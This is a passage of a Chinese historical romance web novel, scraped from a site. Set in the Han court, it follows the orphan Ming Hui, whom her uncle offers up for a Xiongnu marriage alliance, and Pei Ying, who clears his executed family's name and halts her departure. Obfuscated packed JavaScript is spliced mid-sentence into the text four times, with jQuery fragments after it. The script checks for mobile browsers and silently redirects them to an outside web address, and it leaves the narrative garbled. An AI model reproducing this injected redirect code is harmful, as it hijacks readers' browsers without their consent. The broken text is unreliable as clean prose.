这一番早膳做下来,实在是费事,但是如此尽心的侍奉,至少能够让这位大舅舅对她有些好的脸色。 毕竟她一介孤女,寄人篱下,总得看别人脸色才能生活。 她将大锅之上的木盖子一下就掀了开来,蒸腾的热气汹涌而来,她匆匆忙忙正要将里头的蒸好的饭菜拿去来,庖厨外边的就有人叫她。 “三姑娘,三姑娘。” 明绘在围裙上擦干了手上的水,赶忙走了出去,外头正是一仆妇装扮的人。 “周媪。” 她亲切地称呼眼前的这位显然不是来打酱油的周媪。 周媪是总管后院的人,也是能跟大舅舅说得上话的人,故而明绘自然不能怠慢于她。 “三姑娘在这儿。”周媪快步上前携了明绘的手来,格外殷勤地说道,“三姑娘快去罢,家主正找你呢。” 她的话听上去是那么殷勤,可是语气中却不自觉地流露出一种幸灾乐祸的期待,她看向明绘的眼神里流露出来的也并不是盼着她好的意思。 “大舅舅吗?”明绘面上笑着,擦手的动作却迟滞了片刻,她的心底顿时浮现出一股不详的预感来。 往常自己的大舅舅可是从来都不来找她的,全当没有她的这个人,可是如今却突兀地来找她,八成是没有好事的。 “自然了姑娘。”周媪上下打量了她一番,道,“姑娘怎么穿成这样,这叫中贵人看见可怎么办?” 中贵人,乃是帝王所宠幸的近臣。可是中贵人日理万机,怎么会突然来到府上,就算是来府上,若不是为了政事,就为了些见不得人的私下交易,前者是万万不会叫她的,若是后者,那肯定她就要倒大霉了。 “周媪可知道是什么事?”明绘压下心中的惊慌,笑着说道。 “这种大事作奴婢的哪能知道。”周媪笑成了花,向来会逢高踩低的高手如今竟然在明绘也自称起了奴婢,往日的倨傲也一扫而空,“左右是姑娘的好事。” 明绘被她来着一路去了后院,立即就有婢女簇拥上来,给她梳妆打扮,红色的曳地长裙,外头罩着一层细腻如雾的白纱,脱下沾了泥土的布履,而换上精致华丽的绣着牡丹花的绣履,鞋头缀着珍珠,每走一步便是珠光闪闪。 外头莺声燕语,欢声不断,便是尚未出嫁的二姑娘许卓与三姑娘许缤,明绘不常见她们,故而也就十分生疏。 二人亲密地进了门,如同花蝴蝶一样翩然到了明绘身边。 许卓道,“妹妹真是好看,穿上这身衣服更好看了。” 许缤虽面上有不服,但是也跟着许卓笑道,“姐姐的衣服可是好的,妹妹可真喜欢。” 许卓与许缤交换了眼神,遂一左一右携着明绘往正堂走去,像是押送犯人一般亲密无间。 “今日宫里头的贵人来了,是来给姐姐说好事的。”许缤似乎想到了什么好事,也跟着笑了起来。 明绘自然不敢相信,心中也顿时不安起来,莫不是要将她许给那位中贵人作妾? 她勉强地笑着,“若是好事,那自然是极好的。” 她心中顿时一片冰凉,若果真甚是好事,又怎么会轮到她呢。 看来,那真是天大的坏事了。 她们一路去了正堂,就见门口多了守护的甲士,他们像是铁塔一般矗立在两侧,显然是专司守卫的精兵。 显然来者身份尊贵自是不必多说,只是暂不知是哪方来的贵人。 如今,自己只能依附许家,最算是让自己给那位中贵人做妾,又能如何呢。 “三姑娘来了。”门外早早就守候着的总管朝着里头说了一声,随即红木的门扇缓缓推开,许缤见明绘仍在犹豫着,迟迟迈不开步子,就直接出手推了她一下。 明绘本就心思悠荡,加之并没有防备,就一下子就被推倒在地,重重地摔在了地上,头上的妥帖戴着的钗子甚至也掉了下来。 许卓登时瞪了许缤一眼,然后就赶紧去将明绘扶了起来,关切地说道,“妹妹走路怎么这么不小心,可摔着了?” 明绘掩藏在大红广袖中的手紧紧攥起,银牙几乎也要咬碎,可是再多的委屈都得咽下去,她一次呼吸之后立即就平稳了下来,眼中的恨意立即就压了下来,化作柔柔春水般的顺和。 “无事,是我不小心了。”明绘小声说道,而后又在许卓搀扶下站了起来,几个仆妇赶忙走过来提她整饬衣服,而后亲自扶着她走了进去。 红门道道开,里头觥筹交错声也就愈加清晰。 华丽的红色裙摆拖曳过红色的地毡,满室的火烛随着一同进来的冬风而摇曳着,发出噼啪荜拨之声,火烛的光照在温顺垂首少女头上的华丽的金簪自上,折射出惑人心魄的光线。 而这缕光线就悄无声息地落在坐于最尊贵的北面座上的人,月蓝色的深衣上金织云纹,束带佩戴着华贵的蓝田美玉,举手投足间便是金光粼粼华贵逼人。 “还不快见过武安侯陆珩舟大人。” 大舅舅的声音传来。 明绘随即跪拜叩首,白皙的额头恭敬地叩在红毡之上。 “见过武安侯大人。” 武安侯陆珩舟,是当今太后同母异父的弟弟,在皇帝登基之后,便被封为武安侯,后拜为太尉。 “此乃我最小的女儿,许绘,只叫大人看看模样,若是可以,便送进宫去就是。” 明绘的心在跳着,武安侯何时竟与许昌文有如此深的交涉,看样子,二人之间定然些阴私不可告人的交易,而这个交易,很可能就是自己。 “抬起头来。” 座上传来声音,明绘慢慢地抬起头,烛火勾勒出美人青涩却已然显露出倾国倾城的姿容。 陆珩舟顿时眼睛就直了,手中爵一下就摔在了地上,澄黄的酒液顿时就洒出出来,有不少甚至溅在了他的衣服上,氤氲出一大片潮湿来。 “如此姿容,就是绝色,也毫不为过。”陆珩舟笑呵呵地看着明绘,这样的赤裸裸不加掩饰的目光让明绘起了浑身的鸡皮疙瘩,几乎要呕了出来。 “是啊。”许昌武附和着说道,他观察陆珩舟的神色,一见陆珩舟对自己这个侄女很是满意,顿时也跟着呵呵笑了起来,“如今匈奴屡犯边境,恐怕朝廷又要送公主和亲,下官不才,身无长物,众女儿终唯此女姿容无双。若是公主和亲,太皇太后,太后,陛下,又不知几多伤心,不如就叫小女去罢。” “哦?”陆珩舟回过头去,许昌武赶紧掩起袖子擦了几滴莫须有的眼泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363715|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “只是下官作为臣子的,政绩几无,若再不能为太皇太后,太后与陛下分忧,我怕是要到死也不能释怀了。” 一番话说得真情切意,大有程婴夫妇舍去自己孩儿而去救赵氏孤儿的忠肝义胆了。 明绘想说什么,可是她一介寄人篱下的可怜孤女,又如何能够说得上话呢。 自己这幅容貌,反倒成了祸害。 正可谓怀璧其罪罢,自己又当奈何呢。 一想到自己就要被送去匈奴和亲,埋葬在茫茫荒漠,无上的悲凉涌上心头,她瘫坐在地上,静等着他们将自己待价而沽。 指甲深深陷进肉里,鲜红的血珠溢出,她几乎咬紧了牙光,才不至于叫自己流出泪来。 陆珩舟终于与许昌武商榷得当,便迫不及待把目光放在了明绘身上。 陆珩舟走了过来,黑色的目光中贪婪昭然,他的手搭上了她的下颌,想要让她抬起头来,可是明绘却执拗地偏过了头去。 陆珩舟眸光一暗,顿时将她的头强行掰了过来,明绘心里的屈辱更甚,不愿意被人当做物件一样把玩,顿时挥开了他的手。 陆珩舟的起家,是靠着是先帝夫人的姐姐,而后又及其识时务的像子孙辈一样讨好丞相窦玉才发达起来了。可如今他既然发达起来了,就绝不可能允许低下的人还如此违逆他。 明绘还没反应过来,掌风就已经到了,她一下子就被打倒在地,殷红的鲜血缓缓顺着嘴角留下。 “这……”许昌武一下子就站了起来,惊得嘴巴都合不上。 原本陆珩舟还存了将此女子纳为妾的心思,可是此女子桀骜不驯,看向他的眸光也是如此不敬,这样的女子,纵然有着绝世的容貌,陆珩舟却也是格外厌恶的,他所喜欢的,是能够柔顺雌伏的人,而不是像一匹烈马一样的人。 “我看,你还去大漠,去当一匹野马更为合适。” 陆珩舟甩袖而去,许昌武顿时大惊失色,赶忙追了上去,路过明绘的时候,还不望狠狠瞪她一眼,而后继续火急火燎地追了上去。 “大人……大人!” 如今左右仆妇见裴明绘竟然惹恼了家主,便也不再客气,直接将她粗暴地从地上拽了起来,然后将她丢在院子里,而后院门就落了锁。 她仰起头来,天空之上,雪花伴着雨丝,纷纷扬扬无声坠落下来,落在她的脸上,而后和着她痛苦而又无助的泪水,汇聚成溪流,顺着她的脸颊落下。 “老天爷,你为什么这么薄待我。”她泣涕哽咽,“你既然生我,又何必叫我孤独一人,又何必生我作个女儿,难道我就注定是要为人玩物的吗?” 难道她的结局就注定是失行孤雁无处可栖吗? 难道她就只能人欺辱而不能反抗吗? 为什么弱者被强者欺凌就是天经地义的呢。 爹,你为什么抛下我,自己一个人走了呢,你为什么不带我一起走,而将我留在这吃人之地呢。 她无声地流着泪,直到雨雪将她身上浇透了,她也依旧没有动,直到雨雪停而浓云散,一缕澄澈明丽的阳光落在了她的眼眸之上,她方才缓缓睁开了眼睛。 雨雪之后纯净阳光浮漾在她的眼睫之上,像是镀了一层金边一般。 不,她不甘心。 她绝对不会叫他们如愿,就算自己粉身碎骨,他们也休想将自己作物品相送。 人各有命,往往身不由己者多矣,可在身不由己之人,生死也是自己说了算的。 6. 第 6 章 河东郡去往长安城,一路走秦直道,一路经墩梁向东南行,到雕阴县后再折西南行,这一路上北风刮得又急又紧,涛涛渭水也成了坚冰,他们走过函谷关,穿过崤函古道,终于到了巍峨的长安城楼之下。 “你听说没,河东郡守送了个女孩过来,听说是个国色天香的人物呢。” “河东郡守送女孩来做什么。” “肯定是代替公主和亲,说什么要为陛下分忧,分明就是卖女儿。” “谁家回送亲女儿去和匈奴和亲。”那人顿了顿,感慨一声,“八成啊,就是不是亲生女儿。” 二人正说着话,突然又有一人从后面插了话来。 “你还真说对了,真不是亲生的女儿,听说,是他的外甥女。也就是没爹没娘的,他才敢这么欺负。” “说什么呢。”又有一人站了出来,“陛下策问要开始了。” “马上来,多谢庄兄提醒。”几人连忙向庄青生一拱手,联袂去了。 庄青生遂摇了摇头,而后也就跟着去了。 冷风呜呜地吹,越过明堂的大开的门窗,吹起裴瑛的衣袍,他的脸色依旧苍白,眼珠如同漆墨一般漆黑,他似乎并没有将外头这些话听进心里,但是修长优雅的手指却在缓缓收紧。 帷幕之外,是皇帝在同诸侯举荐的贤良方正直言极谏之士在会商要事,评断他们的才能,然后把他们放在合适的位置之上。 裴瑛清楚,这是皇帝在遴选新的官员,而且,其中便有在先帝之时便成为博士的董仲舒。 一入夜,他就去拜访了丞相窦玉。 窦玉似乎并不奇怪裴瑛会来拜访他,或者说,他早就等待着裴瑛。 披着一身的风霜寒气,裴瑛在管家的引领之下进了内室,内室之中几个大燎炉烧得火热,窦玉就靠在长案之后,就着一壶凤酒,消磨长夜。 “你来了。”窦玉指了指旁边的位置,示意裴瑛坐下。 裴瑛却也不坐,站在窦玉面前,深深一躬,“丞相,下官有一请。” 窦玉叹了一声,说道,“如今正是黄老之学与儒术争锋正激之时,只有国家边患暂忧,陛下才能全心全意处理国家的内务,如此公主和亲正当其时,如今这女孩儿被许家送来,打的便是黄老之学的旗帜,说是为国奉献。虽然我知道他们窝藏着祸心,但如今太皇太后已然允准此事,就算是我,也不该为了此事,忤逆太皇太后的意思。” “下官明白丞相的意思。”裴瑛深吸了一口气,缓缓直起身子,“然此乃下官亏欠太多的妹妹,故下官无论如何也要救她。此事关联太多,只要丞相助下官一臂之力,此恩,裴瑛死不敢忘!” “你倒是勇敢。”窦玉很欣赏这个受过太过苦难却不拘泥于仇恨里的少年,“好,你且说,我力所能及,必助你这一臂之力。” “裴家灭门之案,立即重翻,如今证据已齐,只待丞相一句话。” 他的目光如同北斗一样。 “你知道,现在翻案,幕后的黑手决然出不来。”窦玉轻叩书案,想要借此警醒裴瑛,“为了一个没有血缘关系的妹妹,值得吗?” 几乎没有丝毫犹豫,裴瑛答到,“值得。” * 一夜之后,风雪呼啸,百官点卯,大殿之上,文武两班。 谁都没有想到,丞相窦玉竟然第一个出班奏对,以往总是先是静静观察他人奏对而后再说话的丞相竟然率先发话了,这到叫人心惊。 窦玉一袭朝服,走到大殿正中央,执玉笏高声念诵:“臣,丞相窦玉,奏皇帝陛下,河东郡裴家旧案,今已彻查完毕,是为冤案。” 高坐在帝阶长案之后的皇帝惊得一下子就站了起来,道,“竟有此等之事,堂堂河东裴氏,何人竟敢冤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363716|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枉!” 朝堂之中一下子就炸开了锅,不少人的脸色一瞬间就变了。 六年的裴家旧案,裴家满门抄斩,只有最年幼的一子,被一游侠所救,至今仍不知所踪,如今突然翻出旧案来,到底是为了什么。 朝会之上的众臣谁也摸不着头脑,纷纷你看我我看你,是如同深巷幽谷一般的沉默,因为显而易见陛下的态度是向着为裴家翻案的。 “冤案?”皇帝的目光梭巡过满朝文武,“前朝与匈奴作战,我军屡战屡败,甚至要派出公主去和亲,可就算是这样,匈奴还是屡屡寇边,杀害我们的百姓,掠夺我们牛羊,将我们大汉的国威踩在脚下,裴礼显将军亲自统兵出战,眼见着就要胜利了,可偏偏就在这个时候,匈奴却突然就知道了我军底细与战法。” 皇帝的眼神忽然就暗了下来,“朕觉得,与其说裴礼显将军通敌,不如说,通敌者蓄意诬陷!” 朝堂上顿时陷入了可怕的沉默。 皇帝一挥大袖,一旁的皇帝长史捧了诏书来。 “大汉皇帝诏曰:兴国之要,在平边患与内忧耳。然将军为国家死,却为奸佞污蔑作通敌叛国,朕心痛矣!今追封裴礼显为护国将军,特令其子裴瑛任职侍御史,凡有大臣有通敌,污蔑朝臣之嫌,特许面奏皇帝,钦此!” 等到长长的钦此没了声音,就听门外长长的一声通报。 “宣裴礼显将军之子裴瑛觐见——” 如果说前面为裴家翻案的声音对朝臣来说,只是雷声大雨点小,毕竟裴家都死绝了,就算要翻案,也最多是惩办处置此事的廷尉罢了,可如今宣裴家孤儿进殿面圣,就好比一场惊雷炸起,然后就是瓢泼的大雨狠狠砸了下来,如今又是让这位裴家子任侍御史,特许其直接面圣,这就甚是大雨之后那连绵不绝的阴雨。 对于某些人来说,这将是连绵一生的潮湿。 7. 第 7 章 汉朝的最著名的酷吏,皇帝最锋利的刀剑,八面玲珑绵里藏针,人见人爱权贵公敌。 裴瑛,裴玄则。 自此从幕后正式踏上庙堂纷争。 殿门缓缓打开,冷风呼啸,铁马叮当。 皂靴踏过红毡,青色衣袂飘飞。 面容俊雅无俦,心思狠辣无比。 众人的目光纷纭而至,或震惊,或高兴,或疑惑,或畏惧,众多实现交织在一起,形成了复杂细密的罗网。 这是世间少见的风流的俊雅男子,他的眉眼像是浓墨重重地划过洁白的绢帛,眸里暗藏的神采就像是夕阳跃上雪山之巅,光芒万丈五彩斑斓。 哪家女儿不为他奉上痴心,谁家姑娘不想着与他鸾凤和鸣。 锦衣玉馔,那比得了少年风华,倾心一顾,便丢了一魂一魄。 “草民裴瑛,叩见皇帝陛下。” 裴瑛叩首。 皇帝装成不认识裴瑛的样子,轻咳了几声,殷殷说道,“如今裴家的冤案已然彻查,昔日亏欠裴家的,朕都会补回来。朕已任命你为侍御史,专司纠察群臣犯罪之事,希望你不要辜负朕对你的期待,也不要辱没河东裴家的清名。” “草民叩谢皇帝陛下大恩,定然不负皇帝陛下嘱托,不辱裴家门楣。” 此番事罢,朝臣之中人们的目光无声而隐秘地交流着,就在此时,皇帝又下了第二道的诏书,是关于对匈奴战事的,擢升未央宫卫尉李章为骁骑将军,特令镇守九原,预防匈奴南下,以往和亲政策取缔。 “将我大汉的女子嫁去那蛮荒之地,白白折了她们的性命,换了不过岁余的和平。”皇帝慷慨激昂地说着,目光是熠熠闪动的辉光,“如今大汉的仓廪已足,我们的刀剑已然砺厉。京师之钱累巨万,太仓之粟陈陈相因。众庶街巷有马,阡陌之间成群。正所谓养兵千日用兵一时,匈奴兵祸,也是时候该结束了!” 众将军无不心潮澎湃,每每匈奴劫掠大汉边境,最后只能以公主和亲的屈辱做结,身为堂堂大汉男儿,怎么能够如此的屈辱。 但高祖白登山被围,似乎在某些人心中留下了匈奴不可战胜的恐怖阴影,很快,就有人站了出来。 狄山者,博士也,也是在尊儒运动中皇帝亲自提拔的一个儒生。 他出列奏对,高声道,“臣,博士狄山,启奏皇帝陛下。” 皇帝原本以为他是要支持自己,于是道,“爱卿尽抒己见,叫众臣都听听。” 可就听狄山说道,“和亲之便,远胜于兵戈之利。” 听完狄山开宗明义的第一句话,皇帝一下子的脸色就黑了下来,但到底是有谋略的帝王,顾及到自己还要重用儒生,也不好发作。 站在文臣班列的裴瑛的眼帘倏然一下子就抬了起来,黑色的眸子折射出如同刀剑一般的寒芒。 “自高帝以后乃至孝惠、高后时,汉与匈奴结和亲,天下遂安乐,然文帝欲事匈奴,北边萧然苦兵矣,吴楚已破,竟景帝不言兵,天下富实。兵戈之物,乃大凶之物也,一旦兴起,恐民不聊生百业凋敝,故臣言和亲之便,远胜于兵戈之利。” 狄山的话瞬间就获得了不少朝臣的支持,纷纷臣附议了起来。 皇帝气得牙根痒痒,心里直骂这个贪生怕死的腐儒,但是面上却还得笑着,“战当战,今日不主动出战,焉知明日匈奴就不会打来。朕不打这场难打的仗,留给后辈子孙的,就会一场更加艰巨的战争!为后世子孙计,为万世计,今日仓廪的富足,便先祖留给我们的基底,就是留着让我们将匈奴赶出阴山!” 一番宏阔之言,殿中将军纷纷请战,可就在这时,又有站出来,这此不就是儒学博士狄山了,而是先帝之时就德高望重的上卿刘复,就见他颤巍巍地出列,向着皇帝一躬身,沙哑的嗓音顿时叫皇帝头疼。 “和亲,而全千万将士之性命,不和亲,则兵戈顿起,杀伐无数,血流成河。父失子,子失父,如此悲剧,陛下怎可熟视无睹呢?” 皇帝胸膛剧烈地起伏着,但是作为一个帝王的基本修养,就是在自己尚未完全大权在握的时候,不要去与那些幕后掌权人(此处特制太皇太后)的亲信发生争执,因为他们会仗着自己的辈分而千方百计以偷换概念的方式将不孝的罪名压给你。 如今汉朝以孝道治理天下,皇帝何其明白这个道理。 就在他为难的时候,一直观察着朝局的窦玉站了出来,如今皇帝陛下年幼,若要制衡这个倚仗着太皇太后的刘复,他自然要站出来。 “臣,丞相窦玉,启奏皇帝陛下。” 皇帝一见窦玉来了,顿时放心了。 “今匈奴屡屡寇边,掠夺我大汉人口财货不知几多,自高祖以来乃至文景,皆因内忧而不得北进,故备受屈辱,景帝之时匈奴大举进犯,意图将我九原云中囊括,若非裴将军统兵出战,内忧外患之下,可还又我大汉立足之地。裴将军乃是忠肝义胆之人,却终为人污蔑,乃至满门抄斩,如今看来,通敌之人尚逍遥法外,而忠义之人却不得全尸,此乃匈奴之害,更是朝中居心叵测之人威胁我大汉国祚。” “上卿高德上义,裴将军之死,其中不乏匈奴运作。”窦玉转过脸来,漆黑的眼睛放在了刘复的身上,让他忍不住一瑟缩,“今裴家惨案已明,可见匈奴势力之广,竟能将我大汉将军置于死地,难道上卿就不思为裴将军报仇雪恨吗!” “这……” 刘复不知道该怎样应对窦玉的申斥,毕竟裴家的大案的骤然翻案,实在是叫他们措手不及。而且,此时此刻,若是驳窦玉,很可能就会打成谋害裴氏一族的乱党。 若是如此,怕是太皇太后也救不了他了。 “裴将军含冤而死,若不为他报仇,岂能不叫我大汉将士寒心哉!” 一声振聋发聩的呐喊,彻底镇住了刘复。 他比任何时候都要恐慌,额头也渗出冷汗,看了看前头那黯然不语冷眼旁观的人,一咬牙一狠心,道,“臣浅薄,臣……无异议。” * 玄云黯而凝集,天欲雪。 一袭红袍曳红纱,一根金簪挽乌发,泪转圜而不坠,千万哀伤终难诉。 扶轼登车,明绘回眸而望,朦胧的泪里倒映着长安城的巍峨城阙。 “姑娘,上车罢。” 在宫娥的催促下,明绘终于认命了,她闭上眼睛,纤长浓密的黑色睫羽颤抖着,浑圆的凝满了绝望的泪珠坠落,滑过脂粉均匀的粉面,最后无助地坠落下来。 车帷缓缓放下,遮蔽了她的视线。 马队辚辚而动,她无声地哭着,红袖轻动,一点寒芒映苦泪。 自此之后,当是黄沙掩白骨,白雪葬红颜。 猿声是泪,鹃声是血,良辰美景不再见,悲风恨雪长相伴。 裴瑛衣袖如风,先是大步地走着,看着车马逐渐往宫门处辚辚而去,裴瑛顿时慌了神,顿时脚步愈来愈快,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363717|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到跑了起来,以往从容的气度荡然无存。 他捧着圣旨,风一样地跑了起来,青色的衣袂瑟瑟翻飞着,像是城楼上的连绵旗帜一般。 “陛下有令,和亲取缔!” 他气喘吁吁地追了上去,原本有条不紊的鬓发也散乱开来,他挡在了马队之前,将手中的圣旨摆在了众人面前。 驭手猛地一勒缰绳,骏马昂扬头嘶鸣起来,原本平稳行驶的辎车也一下子停了下来,车厢里流着泪的人猛地一下子就摔倒在地,匕首脱手,咣当一声滑倒车厢边去了。 快速的脚步声传来,车帷被一把拉开,潮湿的水汽携着清润的香气扑面而来,她骤然抬起眼来,盈着泪水的黑色眸子倒映着少年郎君绝色的容颜,总是运筹帷幄的沉稳在看到她的那一刻化成了几乎喜极而泣的欢悦。 “哥哥……” 记忆无法控制地穿越了时空,回到了那大雪飘飞的岁月,她被许缤欺负,故意将她锁在了府外,那天特别冷,吐出的气都凝成了冷雾,不管她怎么叫门,看门的仆人都不给她开门。 就在她无助地缩在墙角,不知该去哪里的时候,裴瑛来了。 天上大雪飘飞,地上积雪皑皑,他就这么向自己跑了过来。 似乎没有任何原因,也不为着任何利益。 他将自己身上的大氅脱下来,盖在她的身上,而后陪她一起坐在雪里。 “你是谁……” 明绘缩在大氅里,浑身都颤抖着,纤长的睫羽与乌黑的发都落了雪花,泪水欲落而未落,很快就就在寒冷的冬夜冻结城了晶莹的冰晶。 少年十二三岁的模样,一身简单朴素的青色袍子,黑色的长发用同色丝带束起,青涩而又美丽的面庞上落了洁白的雪花。 他很清瘦,但一双黑色的凤眼却炯炯有神,像是熠熠生辉的宝石。 他看向她,眸子里似乎也隐忍着巨大的哀伤,但他似乎凭借着强大的意志力将哀伤尽数压回了心底,留给她的,则是完美无瑕的笑意。 “我叫裴瑛。”他的声音像是玉石环佩碰撞,是世间最动听的声音,“我是来找你的。” “有我在,不会叫他们欺负你了。” “你可以叫我哥哥。”裴瑛伸出手来,将落在她身上的那些冰冷的雪花都拂去,像是将加诸在她身上的苦难都拂去一般。 “以后,你就是我的妹妹。”他握住她冰冷的手,目光坚毅,“等我回来找你。” 往事如烟如雾,就像是眼前的雪雾一般。 明绘不敢相信地看着眼前依旧含着笑向她伸出手的人,昔年的少年的稚嫩身影似乎与眼前的郎君的影子重叠在了一起。 他真的来找她了。 他还以为是那日是她临死之时生出的幻梦。 原来,真的有这样的人。 真的有人,会义无反顾地来找她…… 阴云密布,城阙隐在雪雾冰糁之中,若有若无若隐若现,恍若神仙幻境,在这幅朦胧黯淡的水墨图画里,他便是这天地唯一的色彩。 他的身上落了一层雪,但是目光却像是漆墨一般。 “哥哥……” 她哽咽着,终于再也忍不住泪水。 “我来了。” 他强忍着所有呼之欲出的情绪,压着所有汹涌翻滚着悲伤,挤出一丝微笑,维系着自己所有的从容,就这么着看向她。 俄而雪骤,又因风起,恰若满城风絮盛。 8. 第 8 章 俄而雪骤,又因风起,恰若满城风絮盛。 他依旧看着她,等着她去握他的手。 他的发都风雪吹得凌乱,其上栖着雪花,在左右宫娥的风灯照耀下,闪烁着稀碎银光。 “哥哥……” 她膝行过去,一把抱住了他,泣不成声。 在这一刻,她所有的委屈与痛苦,似乎都可以得到申述。 “我来迟了。”裴瑛艰难地闭上眼睛,将情绪又压了回去,可是当他再睁开了眼睛时,车厢里那匕首的寒光却深深刺痛了他的目光,抱住她的手臂无法克制地缓缓收紧,一贯冰冷的心无可抑制地生出悔恨与杀意。 明绘失声痛哭,她紧紧地抱住裴瑛,自离别父亲之后,所有的痛苦如水一般积蓄在她的心头,可是时光飞逝,终究水满则溢。 “不会了再也不会了。”裴瑛的抱住她的手一寸一寸收紧,指节泛起了白。 若是他在迟上一时片刻,恐怕他见到的,就只会是一具逐渐丧失温度的尸体罢了。 恐惧如春草蔓生,裴瑛缓缓将她抱在怀里。 * 下弦月悬在冷寂的夜空之上,冰冷流光随着呼啸的北风一同徘徊在长安城的高楼殿堂里,而后出了高大的宫门,将红色的旌旗肆意舒卷,发出飒飒声响,而出又随意游走在街道深巷之中。 这天下,恐怕只有光与风是自由的吧。 所有人都接受这光的照耀与风的吹息,可是,人生而有尊卑,就连光与风也是不同 快哉楚王风,庶人安得共?① 诚哉斯言。 红烛摇晃,朦胧柔和的灯火照在明绘与裴瑛的身上。 “我没想到……”她顿了顿,而后去看裴瑛的脸色,方才又说道,“哥哥你真的会来。” 裴瑛的脸上看不出什么表情,他的声音依旧温润动听,像是春风化雨一般,无声无息地消解明绘所有的不安与局促。 “是我来晚了。”裴瑛拿起雪白的帕子,探身靠向明绘,一点一点将她的泪水都擦干净。 她抬起眼睛,黑色的眸子映着灯火与他,格外漂亮。 裴瑛动作一顿,缓缓垂下手来,转瞬又笑了起来,“至少,现在我们又在一起了,从今以后,我绝不会叫你孤独一人。” “以后,你便是我裴瑛的妹妹,若有你打你的主意。”他浸在昏黄烛火下的眼睛变得幽深,声音却认真而又利落,“我定叫他死无葬身之地。” 一贯温润而又玲珑的裴瑛,在此时此刻,却如一同一把出鞘的剑一般,有着无形却格外致命的锋锐。 “哥哥。” 明绘几乎是喜极而泣。 至少,她再也不是孤身一人了。 “不知哥哥为何如此护我。”犹豫再三,明绘终于问出了这个困惑她久已的问题,“难道,只是看我可怜吗?” 裴瑛沉默了,眼帘也垂了下来。 屋子里陷入了僵持的沉默,而后一声烛火噼啪之后,明绘又笑着说道,“哥哥若不想说,不说也罢了,左右也不是要事,哥哥既救了妹妹,妹妹感激还来不及呢。” 裴瑛掩下来的眸光中闪过一丝无措与迷茫,但很快他就又恢复了往常的光彩。 “妹妹的父亲,是为救我才离开妹妹的。”他观察着她的神色,却在听到这一消息的时候,她的躯体瞬间僵硬了,嘴角的笑意也渐渐消失了,就像是洁白优雅的水仙花还没来及开放就枯萎凋零了一般。 裴瑛深吸了一口气,继续说道,“妹妹的父亲,也就是明先生,感念我父亲的相救之恩,所以才孤身劫法场,将我救了下来。” 错落的烛光落在他的身上,竟叫他生出若有若无的虚幻的感觉。 “为了叫裴家血脉得存,明先生隐姓埋名,一边教导我,一边寻找裴家案的真凶,后遭遇埋伏,不幸……” “不要再说了。” 明绘痛苦地捂住胸口,丧父与多年孤独的痛苦如跗骨之蛆一般,侵蚀她的血肉,她的骨头。 多少年了,怎么都不来见她…… 哪怕告诉她,他还活着,她不是一个人…… “妹妹!”裴瑛一边懊悔自己不当在此时说这些话刺激明绘,一边扶住痛苦得几乎要倒地的明绘。 “是我的错,叫妹妹自小离开父亲。”裴瑛将明绘紧紧揽入怀中,想要缓解她的痛苦。 裴瑛如何能不自责,是他害得无辜的明绘自小失去父亲照拂,没了父亲的荫庇,她自是在许家受了不少苦,吃了不少罪,最后甚至要被丧尽天良的许家兄弟送去匈奴和亲。 这一切的一切,都是为了救他。 泪水不断落下,像是断了线的珍珠。 明绘的身体忍不住颤抖着,泪水打湿了裴瑛的衣衫,直直透过他的肌肤,流入他的血液里,将她所有的痛苦都一并汇入他的心里。 “哥哥……这是说得哪里的话。”明绘坐了起来,“父亲虽然是我的父亲,然无裴将军相救,今日必然是没有父亲与我的。我虽是父亲的女儿,也贪恋父亲的亲情,但其中的道理我也明白的,还望……哥哥不要为着此事过于自责。” 夜深了,裴瑛也走了,留下一个叫春喜的侍女来照顾她。 室内火烛噼啪,她枯坐在长案之前,身上依旧是那副华丽奢靡的红色嫁衣。 她无声地哭着,似乎有太多痛苦积蓄在心头,一时长堤溃决,这痛苦就如洪水猛兽般席卷而来。 “姑娘,莫流泪了,若是哭坏了身子,这可如何是好。” 春喜是个伶俐的丫头,见事极快,眼见眼泪又要从明绘眼眶中流了下来,赶忙拿过巾帕来将她的泪擦去了。 “泪……”她的眸子仿佛成了流泪泉,这泪水却再也止不住了,痛苦仿佛将她的全身上下的骨骼都打碎了,她似乎再也没有力量站着了,“他为什么……就……不告诉……我呢,为什么……” 春喜急忙扶住明绘,吓得她急忙便要叫裴瑛,可是明绘却一把捂住了春喜的嘴,笑着摇了摇头,“我已经好了,不必劳烦哥哥,哥哥公务在身,莫叫他担心才是。” 春喜却还是担忧,姑娘哭成这幅样子,怎的就能好了呢,她心疼地替她擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 